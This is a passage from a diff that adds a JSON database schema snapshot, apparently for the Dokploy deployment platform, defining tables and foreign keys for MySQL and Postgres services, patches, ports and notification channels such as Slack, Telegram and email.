+ "mariadbId"
+ ],
+ "columnsTo": [
+ "mariadbId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mount_mongoId_mongo_mongoId_fk": {
+ "name": "mount_mongoId_mongo_mongoId_fk",
+ "tableFrom": "mount",
+ "tableTo": "mongo",
+ "columnsFrom": [
+ "mongoId"
+ ],
+ "columnsTo": [
+ "mongoId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mount_mysqlId_mysql_mysqlId_fk": {
+ "name": "mount_mysqlId_mysql_mysqlId_fk",
+ "tableFrom": "mount",
+ "tableTo": "mysql",
+ "columnsFrom": [
+ "mysqlId"
+ ],
+ "columnsTo": [
+ "mysqlId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mount_postgresId_postgres_postgresId_fk": {
+ "name": "mount_postgresId_postgres_postgresId_fk",
+ "tableFrom": "mount",
+ "tableTo": "postgres",
+ "columnsFrom": [
+ "postgresId"
+ ],
+ "columnsTo": [
+ "postgresId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mount_redisId_redis_redisId_fk": {
+ "name": "mount_redisId_redis_redisId_fk",
+ "tableFrom": "mount",
+ "tableTo": "redis",
+ "columnsFrom": [
+ "redisId"
+ ],
+ "columnsTo": [
+ "redisId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.mysql": {
+ "name": "mysql",
+ "schema": "",
+ "columns": {
+ "mysqlId": {
+ "name": "mysqlId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "databaseName": {
+ "name": "databaseName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "databaseUser": {
+ "name": "databaseUser",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "databasePassword": {
+ "name": "databasePassword",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "rootPassword": {
+ "name": "rootPassword",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "dockerImage": {
+ "name": "dockerImage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "args": {
+ "name": "args",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryReservation": {
+ "name": "memoryReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryLimit": {
+ "name": "memoryLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuReservation": {
+ "name": "cpuReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuLimit": {
+ "name": "cpuLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "externalPort": {
+ "name": "externalPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationStatus": {
+ "name": "applicationStatus",
+ "type": "applicationStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'idle'"
+ },
+ "healthCheckSwarm": {
+ "name": "healthCheckSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "restartPolicySwarm": {
+ "name": "restartPolicySwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "placementSwarm": {
+ "name": "placementSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updateConfigSwarm": {
+ "name": "updateConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackConfigSwarm": {
+ "name": "rollbackConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "modeSwarm": {
+ "name": "modeSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "labelsSwarm": {
+ "name": "labelsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "networkSwarm": {
+ "name": "networkSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stopGracePeriodSwarm": {
+ "name": "stopGracePeriodSwarm",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "endpointSpecSwarm": {
+ "name": "endpointSpecSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ulimitsSwarm": {
+ "name": "ulimitsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "replicas": {
+ "name": "replicas",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "environmentId": {
+ "name": "environmentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "mysql_environmentId_environment_environmentId_fk": {
+ "name": "mysql_environmentId_environment_environmentId_fk",
+ "tableFrom": "mysql",
+ "tableTo": "environment",
+ "columnsFrom": [
+ "environmentId"
+ ],
+ "columnsTo": [
+ "environmentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mysql_serverId_server_serverId_fk": {
+ "name": "mysql_serverId_server_serverId_fk",
+ "tableFrom": "mysql",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "mysql_appName_unique": {
+ "name": "mysql_appName_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "appName"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.custom": {
+ "name": "custom",
+ "schema": "",
+ "columns": {
+ "customId": {
+ "name": "customId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "endpoint": {
+ "name": "endpoint",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "headers": {
+ "name": "headers",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.discord": {
+ "name": "discord",
+ "schema": "",
+ "columns": {
+ "discordId": {
+ "name": "discordId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "webhookUrl": {
+ "name": "webhookUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "decoration": {
+ "name": "decoration",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.email": {
+ "name": "email",
+ "schema": "",
+ "columns": {
+ "emailId": {
+ "name": "emailId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "smtpServer": {
+ "name": "smtpServer",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "smtpPort": {
+ "name": "smtpPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "username": {
+ "name": "username",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "password": {
+ "name": "password",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "fromAddress": {
+ "name": "fromAddress",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "toAddress": {
+ "name": "toAddress",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.gotify": {
+ "name": "gotify",
+ "schema": "",
+ "columns": {
+ "gotifyId": {
+ "name": "gotifyId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "serverUrl": {
+ "name": "serverUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appToken": {
+ "name": "appToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "priority": {
+ "name": "priority",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 5
+ },
+ "decoration": {
+ "name": "decoration",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.lark": {
+ "name": "lark",
+ "schema": "",
+ "columns": {
+ "larkId": {
+ "name": "larkId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "webhookUrl": {
+ "name": "webhookUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.mattermost": {
+ "name": "mattermost",
+ "schema": "",
+ "columns": {
+ "mattermostId": {
+ "name": "mattermostId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "webhookUrl": {
+ "name": "webhookUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "channel": {
+ "name": "channel",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "username": {
+ "name": "username",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.notification": {
+ "name": "notification",
+ "schema": "",
+ "columns": {
+ "notificationId": {
+ "name": "notificationId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appDeploy": {
+ "name": "appDeploy",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "appBuildError": {
+ "name": "appBuildError",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "databaseBackup": {
+ "name": "databaseBackup",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "volumeBackup": {
+ "name": "volumeBackup",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "dokployRestart": {
+ "name": "dokployRestart",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "dokployBackup": {
+ "name": "dokployBackup",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "dockerCleanup": {
+ "name": "dockerCleanup",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "serverThreshold": {
+ "name": "serverThreshold",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "notificationType": {
+ "name": "notificationType",
+ "type": "notificationType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "slackId": {
+ "name": "slackId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "telegramId": {
+ "name": "telegramId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "discordId": {
+ "name": "discordId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "emailId": {
+ "name": "emailId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "resendId": {
+ "name": "resendId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gotifyId": {
+ "name": "gotifyId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ntfyId": {
+ "name": "ntfyId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mattermostId": {
+ "name": "mattermostId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customId": {
+ "name": "customId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "larkId": {
+ "name": "larkId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "pushoverId": {
+ "name": "pushoverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "teamsId": {
+ "name": "teamsId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "notification_slackId_slack_slackId_fk": {
+ "name": "notification_slackId_slack_slackId_fk",
+ "tableFrom": "notification",
+ "tableTo": "slack",
+ "columnsFrom": [
+ "slackId"
+ ],
+ "columnsTo": [
+ "slackId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_telegramId_telegram_telegramId_fk": {
+ "name": "notification_telegramId_telegram_telegramId_fk",
+ "tableFrom": "notification",
+ "tableTo": "telegram",
+ "columnsFrom": [
+ "telegramId"
+ ],
+ "columnsTo": [
+ "telegramId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_discordId_discord_discordId_fk": {
+ "name": "notification_discordId_discord_discordId_fk",
+ "tableFrom": "notification",
+ "tableTo": "discord",
+ "columnsFrom": [
+ "discordId"
+ ],
+ "columnsTo": [
+ "discordId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_emailId_email_emailId_fk": {
+ "name": "notification_emailId_email_emailId_fk",
+ "tableFrom": "notification",
+ "tableTo": "email",
+ "columnsFrom": [
+ "emailId"
+ ],
+ "columnsTo": [
+ "emailId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_resendId_resend_resendId_fk": {
+ "name": "notification_resendId_resend_resendId_fk",
+ "tableFrom": "notification",
+ "tableTo": "resend",
+ "columnsFrom": [
+ "resendId"
+ ],
+ "columnsTo": [
+ "resendId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_gotifyId_gotify_gotifyId_fk": {
+ "name": "notification_gotifyId_gotify_gotifyId_fk",
+ "tableFrom": "notification",
+ "tableTo": "gotify",
+ "columnsFrom": [
+ "gotifyId"
+ ],
+ "columnsTo": [
+ "gotifyId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_ntfyId_ntfy_ntfyId_fk": {
+ "name": "notification_ntfyId_ntfy_ntfyId_fk",
+ "tableFrom": "notification",
+ "tableTo": "ntfy",
+ "columnsFrom": [
+ "ntfyId"
+ ],
+ "columnsTo": [
+ "ntfyId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_mattermostId_mattermost_mattermostId_fk": {
+ "name": "notification_mattermostId_mattermost_mattermostId_fk",
+ "tableFrom": "notification",
+ "tableTo": "mattermost",
+ "columnsFrom": [
+ "mattermostId"
+ ],
+ "columnsTo": [
+ "mattermostId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_customId_custom_customId_fk": {
+ "name": "notification_customId_custom_customId_fk",
+ "tableFrom": "notification",
+ "tableTo": "custom",
+ "columnsFrom": [
+ "customId"
+ ],
+ "columnsTo": [
+ "customId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_larkId_lark_larkId_fk": {
+ "name": "notification_larkId_lark_larkId_fk",
+ "tableFrom": "notification",
+ "tableTo": "lark",
+ "columnsFrom": [
+ "larkId"
+ ],
+ "columnsTo": [
+ "larkId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_pushoverId_pushover_pushoverId_fk": {
+ "name": "notification_pushoverId_pushover_pushoverId_fk",
+ "tableFrom": "notification",
+ "tableTo": "pushover",
+ "columnsFrom": [
+ "pushoverId"
+ ],
+ "columnsTo": [
+ "pushoverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_teamsId_teams_teamsId_fk": {
+ "name": "notification_teamsId_teams_teamsId_fk",
+ "tableFrom": "notification",
+ "tableTo": "teams",
+ "columnsFrom": [
+ "teamsId"
+ ],
+ "columnsTo": [
+ "teamsId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_organizationId_organization_id_fk": {
+ "name": "notification_organizationId_organization_id_fk",
+ "tableFrom": "notification",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.ntfy": {
+ "name": "ntfy",
+ "schema": "",
+ "columns": {
+ "ntfyId": {
+ "name": "ntfyId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "serverUrl": {
+ "name": "serverUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "topic": {
+ "name": "topic",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "accessToken": {
+ "name": "accessToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "priority": {
+ "name": "priority",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 3
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.pushover": {
+ "name": "pushover",
+ "schema": "",
+ "columns": {
+ "pushoverId": {
+ "name": "pushoverId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userKey": {
+ "name": "userKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "apiToken": {
+ "name": "apiToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "priority": {
+ "name": "priority",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "retry": {
+ "name": "retry",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "expire": {
+ "name": "expire",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.resend": {
+ "name": "resend",
+ "schema": "",
+ "columns": {
+ "resendId": {
+ "name": "resendId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "apiKey": {
+ "name": "apiKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "fromAddress": {
+ "name": "fromAddress",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "toAddress": {
+ "name": "toAddress",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.slack": {
+ "name": "slack",
+ "schema": "",
+ "columns": {
+ "slackId": {
+ "name": "slackId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "webhookUrl": {
+ "name": "webhookUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "channel": {
+ "name": "channel",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.teams": {
+ "name": "teams",
+ "schema": "",
+ "columns": {
+ "teamsId": {
+ "name": "teamsId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "webhookUrl": {
+ "name": "webhookUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.telegram": {
+ "name": "telegram",
+ "schema": "",
+ "columns": {
+ "telegramId": {
+ "name": "telegramId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "botToken": {
+ "name": "botToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "chatId": {
+ "name": "chatId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "messageThreadId": {
+ "name": "messageThreadId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.patch": {
+ "name": "patch",
+ "schema": "",
+ "columns": {
+ "patchId": {
+ "name": "patchId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "type": {
+ "name": "type",
+ "type": "patchType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'update'"
+ },
+ "filePath": {
+ "name": "filePath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "content": {
+ "name": "content",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "composeId": {
+ "name": "composeId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "patch_applicationId_application_applicationId_fk": {
+ "name": "patch_applicationId_application_applicationId_fk",
+ "tableFrom": "patch",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "patch_composeId_compose_composeId_fk": {
+ "name": "patch_composeId_compose_composeId_fk",
+ "tableFrom": "patch",
+ "tableTo": "compose",
+ "columnsFrom": [
+ "composeId"
+ ],
+ "columnsTo": [
+ "composeId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "patch_filepath_application_unique": {
+ "name": "patch_filepath_application_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "filePath",
+ "applicationId"
+ ]
+ },
+ "patch_filepath_compose_unique": {
+ "name": "patch_filepath_compose_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "filePath",
+ "composeId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.port": {
+ "name": "port",
+ "schema": "",
+ "columns": {
+ "portId": {
+ "name": "portId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "publishedPort": {
+ "name": "publishedPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "publishMode": {
+ "name": "publishMode",
+ "type": "publishModeType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'host'"
+ },
+ "targetPort": {
+ "name": "targetPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "protocol": {
+ "name": "protocol",
+ "type": "protocolType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "port_applicationId_application_applicationId_fk": {
+ "name": "port_applicationId_application_applicationId_fk",
+ "tableFrom": "port",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.postgres": {
+ "name": "postgres",
+ "schema": "",
+ "columns": {
+ "postgresId": {
+ "name": "postgresId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "databaseName": {
+ "name": "databaseName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "databaseUser": {
+ "name": "databaseUser",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "databasePassword": {
+ "name": "databasePassword",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "dockerImage": {
+ "name": "dockerImage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "args": {
+ "name": "args",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryReservation": {
+ "name": "memoryReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "externalPort": {
+ "name": "externalPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryLimit": {
+ "name": "memoryLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuReservation": {
+ "name": "cpuReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuLimit": {
+ "name": "cpuLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationStatus": {
+ "name": "applicationStatus",
+ "type": "applicationStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'idle'"
+ },
+ "healthCheckSwarm": {
+ "name": "healthCheckSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "restartPolicySwarm": {
+ "name": "restartPolicySwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "placementSwarm": {
+ "name": "placementSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updateConfigSwarm": {
+ "name": "updateConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackConfigSwarm": {
+ "name": "rollbackConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "modeSwarm": {
+ "name": "modeSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "labelsSwarm": {
+ "name": "labelsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "networkSwarm": {
+ "name": "networkSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stopGracePeriodSwarm": {
+ "name": "stopGracePeriodSwarm",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "endpointSpecSwarm": {
+ "name": "endpointSpecSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ulimitsSwarm": {
+ "name": "ulimitsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "replicas": {
+ "name": "replicas",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
